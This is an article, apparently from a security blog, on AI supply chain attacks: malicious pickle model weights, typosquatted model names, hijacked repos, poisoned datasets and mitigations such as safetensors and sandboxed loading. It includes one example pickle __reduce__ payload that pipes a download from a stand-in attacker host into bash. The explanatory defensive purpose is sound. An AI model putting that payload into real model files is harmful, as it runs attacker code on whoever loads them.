AI Security

AI Supply Chain Security:
Compromised Weights and Poisoned Repos

Published: 2026-05-17 22:59 PDT (Oregon)

The AI development supply chain — model weights from HuggingFace, datasets from public repos, fine-tuning scripts from GitHub — is as attackable as any software dependency chain. Malicious weights, poisoned datasets, and typosquatted model names create attack vectors that bypass every layer of application-level security, executing code the moment a model is loaded.

The Pickle Problem

The most acute AI supply chain vulnerability is the file format. PyTorch model weights have historically been distributed as pickle files. Pickle deserialization executes arbitrary Python code — loading a malicious .pkl or .pt file runs attacker-controlled code in the loading process, with full access to the host system. This is not a theoretical risk: researchers have demonstrated working exploits that execute on model load, and malicious models have been found on HuggingFace.

The ML ecosystem has recognized this problem. HuggingFace launched a malware scanner for uploaded models and recommends the safer safetensors format, which stores only tensor data and executes no code on load. But millions of models in the existing ecosystem still use pickle formats, and developers who download older models are exposed.

Loading a model from an untrusted source is the equivalent of running an executable downloaded from a stranger. The model file is not data — it's code.

Attack Vectors in the AI Supply Chain

Typosquatted model names

Popular models like "meta-llama/Llama-2-7b" are targets for typosquatted clones — "meta-11ama/Llama-2-7b" or "meta-llama/Lama-2-7b" — containing malicious pickle payloads. An automated training pipeline that downloads model names from config files is especially vulnerable.

Compromised legitimate accounts

A legitimate, popular model repo account gets compromised through credential theft. The attacker updates the model weights with a malicious version while preserving the model's functional behavior — the model works normally but executes malicious code on load in every environment that downloads the update.

Poisoned training datasets

Public datasets hosted on HuggingFace Datasets, GitHub, or direct URLs can be poisoned with adversarial examples, backdoor triggers, or CSAM. Any training pipeline that downloads public datasets without verification is vulnerable to data-level poisoning that produces compromised models.

Malicious fine-tuning code

Training scripts and fine-tuning notebooks shared on GitHub or Kaggle may contain obfuscated code that exfiltrates model weights, training data, or credentials during training. Code review for ML pipelines is often less rigorous than for production software — a gap attackers exploit.

The Scale of Exposure

HuggingFace hosts over 500,000 model repositories and 100,000 dataset repositories. Researchers at JFrog and others have found hundreds of models with malicious payloads including reverse shells, credential stealers, and cryptocurrency miners. The download counts on many flagged models were in the thousands before detection — meaning the attack surface is not theoretical, it's active.

Example payload pattern:
import os, socket, subprocess # Embedded in __reduce__ method of serialized object def __reduce__(self): cmd = 'curl http://attacker.com/payload | bash' return (os.system, (cmd,))

This code runs automatically when torch.load() or pickle.load() processes the file — before any application code has a chance to inspect the model. The payload executes with the permissions of the Python process loading the model.

Mitigations

  • Use safetensors format exclusively for model weights. Safetensors stores only tensor data and has no code execution on load. When downloading existing models, use from_pretrained(..., use_safetensors=True). Reject loading of .pkl and .pt files from untrusted sources.
  • Pin model versions and verify checksums. Never download model weights with a floating reference like "latest." Pin to a specific commit hash and verify SHA256 checksums against a separately stored manifest. Any change in the model file should be an explicit human decision.
  • Load models in isolated sandboxes. Model loading should happen in a subprocess with no network access, no filesystem write access to production directories, and a restricted seccomp profile. Any malicious payload that executes on load is contained to the sandbox.
  • Run HuggingFace's malware scanner and Picklescan before using downloaded models. Picklescan is an open-source tool that inspects pickle files for dangerous opcodes before they're executed. Not foolproof against sophisticated obfuscation, but catches common attack patterns.
  • Maintain an internal model registry with approved, verified models. Production systems should pull from an internal registry, not directly from HuggingFace or GitHub. The registry is the point where security verification happens — provenance checks, malware scanning, and approval workflows — before a model reaches production.
← All ideas